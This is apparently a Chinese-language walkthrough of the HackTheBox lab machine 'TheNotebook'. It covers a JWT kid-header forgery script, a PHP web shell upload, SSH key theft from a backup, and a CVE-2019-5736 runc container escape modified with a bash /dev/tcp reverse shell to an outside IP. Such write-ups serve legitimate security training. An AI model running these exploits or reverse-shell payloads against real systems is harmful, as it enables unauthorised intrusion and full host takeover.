TheNotebook Writeup

概述 (Overview)

image

HOST:10.10.10.230 时间: 2021-08-22 机器作者: mostwanted002 困难程度: Medium MACHINE TAGS: * Web * JSON * PHP * Outdated Software * File Misconfiguration

攻击链 (Kiillchain)

通过对目标服务器的开放端口进行枚举,发现其运行的 Web 服务可以进行用户注册。接着在登录返回的 JWT 数据中存在不安全业务流程,用户可以通过控制 header 和 data 段实现 JWT 篡改,从而进入后台页面利用文件上传功能成功获得立足点。

对会话机器的环境信息进行枚举,发现可以通过 sudo 进入任意容器,最终通过确认 Docker 服务版本再利用 CVE-2019-5736 漏洞完成权限提升。

枚举(Enumeration)

老样子,开局还是使用 Nmap 对目标服务器开放端口进行信息枚举:

$ nmap -p- -sV -sC -oA portscan -T4 -v 10.10.10.230 Nmap scan report for 10.10.10.230 Host is up (0.081s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA) | 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA) |_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2 | http-methods: |_ Supported Methods: GET HEAD OPTIONS |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: The Notebook - Your Note Keeper Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Aug 15 16:12:05 2021 -- 1 IP address (1 host up) scanned in 561.30 seconds

从返回的结果中可以获知到目标服务器是 Ubuntu 系统,仅对外暴露了两个端口(22、80)。

Port 80 - Nginx

通过浏览器进行 Web 服务的预览,发现存在登录及注册页面,尝试提交一段账户密码进行注册:

image

注册完成后可以使用账户进行登录,但是大致浏览了下页面内容,暂时没有看到明显的利用点:

image

立足点(Foothold)

转而开启 Burp 代理,尝试查看请求包中是否存在可以利用的点。在登录状态下,cookie 中会带有一段明显的 JWT 验证,尝试对其进行解包发现有两处内容值得关注:

image

jwt_tools - https://github.com/ticarpi/jwt_tool.git

我这里使用的是 jwt_tools 工具对 auth 参数内容进行分析,可以看到在 header 中存在私钥的文件路径,而在对应的 payload 主体部分有一个 admin_cap 参数目前值为 0。

问题来了,有没有可能这里存在业务流程乱序的情况?判断用户是否为管理员用的是 admin_cap 这个值,而对生成的 JWT 进行加、解密的方式则用的 kid 中的私钥路径。

要知道在一个正常的后端返回的 JWT 数据中,不会有私钥这类值,对其他用户是保密的、不可见的。继续使用 jwt_tools 工具的功能,修改两个参数的值,并观察用 Python 起的 Web 服务器日志。

image

可以看到,当我们将修改后的 JWT 发送至目标服务端后,目标服务器会根据 kid 中的连接地址去请求我本地的 .kay 文件,随后按照正常流程应该会使用私钥文件进行对数据结构的解密。

用 Python 简单写了一段脚本,用于快速验证:

import jwt import requests host = 'http://10.10.10.230' def get_user(username): privKey = b'''-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAtaXGRvgbwnZLglwOOw3TG++28cOd8Zhm5Hyii3+n3OIH4Vn2 ... snip ... -----END RSA PRIVATE KEY-----''' header={"kid": "http://10.10.16.2/privKey.key", "alg":"RS256", "typ":"JWT"} payload = {} payload['username'] = username payload['email'] = '[email protected]' payload['admin_cap'] = 1 encoded = jwt.encode(payload, privKey, algorithm="RS256", headers=header) return encoded if __name__ == '__main__': fuzzing = "0x584a" proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} headers = {'Cookie':'auth='+get_user(fuzzing)+'; uuid=53fffafe-07e4-4285-8f42-ca6e31389ace'} r = requests.get(host, headers=headers, ) print(r.text)

参数 PRIVATE KEY 和文件则是在 jwt_tools 工具里随便找的,当运行脚本后,发现返回的内容中存在后台连接:

image

使用浏览器插件修改 cookie 参数为自 PRIVATE KEY 生成的 JWT,刷新页面后可以看到已经多出了 admin 导航:

image

进入路径后发现存在两个按钮,显示笔记、文件上传:

image

进入 notes 查看内容,发现提示中 PHP 文件的执行,说明当前站点运行的服务可能是个 PHP 站。

notes-1 admin Need to fix config Have to fix this issue where PHP files are being executed :/. This can be a potential security issue for the server.

随后进入上传页面上传 PHP 脚本,简单写一个命令执行:

image

上传成功后进行测试,脚本命令执行正常:

image

当然,这里也可以直接使用 php-reverse-shell.php 脚本运行后得到一个反弹 shell。

image

横向移动(Lateral Movement)

为了更好的进行 shell 的维持,使用了一个好用的工具 platypus 进行管理(挺好用的,作者也一直在更新维护):

Platypus 是一款支持多会话交互式反向 Shell 管理器。 - https://platypus-reverse-shell.vercel.app/

image

进入交互 shell 对目标信息进行收集,发现存在一个 noah 用户账户,开始进行账户的横向移动。

$ cat /etc/passwd | grep -v nologin root:x:0:0:root:/root:/bin/bash ... snip ... noah:x:1000:1000:Noah:/home/noah:/bin/bash

在进行文件传递时发现目标系统中缺失 wget、curl 这种命令,但 ftp 命令是存在的。所以本地用 python 起了一个 ftp 服务,随后在目标服务器上进行文件传递。

image

使用传递的 linPEAS 脚本对服务器信息进行深度收集,通过网络环境和防火墙配置,推断目标服务器中安装了 Docker 服务。

image

通过搜索全局文件夹关键字,发现对站点的备份压缩包。

image

对压缩包进行解压发现存在 .ssh 证书文件夹,将私钥证书传递至 Kali 使用 noah 用户成功登录目标服务器:

www-data@thenotebook:/tmp$ tar zxvf home.tar.gz
... snip ...
home/noah/.ssh/
home/noah/.ssh/id_rsa
home/noah/.ssh/authorized_keys
home/noah/.ssh/id_rsa.pub

image

权限提升(Privilege Escalation)

通过查看 sudo 允许运行的权限提升命令,发现可以进去任意已 webapp-dev01 开头的容器:

Matching Defaults entries for noah on thenotebook: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User noah may run the following commands on thenotebook: (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

进入 webapp-dev01 容器的交互 shell,发现它里面的内容就是暴漏给外部访问的 Web 站容器:

image

既然涉及到 sudo 和 docker 那么优先想到的可以能是容器逃逸,或者可以进行逃逸进行本地权限提升的 CVE 漏洞。

开始收集 Docker 运行的版本:

Docker Version < 18.09.2 runC Version <= 1.0-rc6
noah@thenotebook:~$ which docker-runc /usr/bin/docker-runc noah@thenotebook:~$ runc --version runc version 1.0.0~rc6+dfsg1 commit: 1.0.0~rc6+dfsg1-3 spec: 1.0.1 noah@thenotebook:~$ docker -v Docker version 18.06.0-ce, build 0ffa825

可以看到并不是当前最新的版本,开始顺着这些信息查找利用脚本:

https://github.com/Frichetten/CVE-2019-5736-PoC

该漏洞利用通过在容器内覆盖和执行主机系统 runc 二进制文件来工作,所以会对服务器的环境造成一定影响,所以在实际使用的时候要认真斟酌一下。

看下脚本中的 payload 内容(现在内容改了,增强了兼容性),默认是将 shadow 文件内容读取出来所以可以修改一下。

image

直接修改成反弹 Shell 语句,随后用 go 进行构建,生成目标服务器环境可执行的二进制文件。

$ vim main.go ..snip... var payload = "#!/bin/bash \n /bin/bash -i >& /dev/tcp/10.10.16.3/9900 0>&1" ..snip... $ CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

注意这样要加 CGO_ENABLED=0,它的作用就是将动态链接库的函数编译至二进制文件。不然就会出现这种错误:

noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 bash ...sinp... OCI runtime exec failed: exec failed: container_linux.go:348: starting container process caused "too many levels of symbolic links": unknown

OK,开始进行权限提升的操作,这里会用到三个命令行窗口。窗口一中,进入目标容器并将编译好的二进制文件传递至容器运行。随后启动窗口三进行 NC 监听。回到窗口二,再次 sudo 运行进入容器,此时主系统的 runc 将会自动运行。注意这里后面的 shell 用的/bin/sh,应该是容器环境问题导致如果是/bin/bash 的话是不会触发 POC 的。

Terminal 1 sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash wget http://10.10.16.3/main chmod +x main ./main Terminal 2 sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh Terminal 3 nc -nlvp 9900

image

自此成功完成权限提升,从 docker 容器逃逸至物理机。

复盘

快速生成一个自签证书可以使用 ssh-keygen 和 openssl 来做:

ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key # Don't add passphrase openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub cat jwtRS256.key cat jwtRS256.key.pub

参考

  • https://github.com/carlospolop/hacktricks/tree/master/linux-unix/privilege-escalation#sudo-version
  • https://blog.pentesteracademy.com/hacking-jwt-tokens-kid-claim-misuse-key-leak-e7fce9a10a9c


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。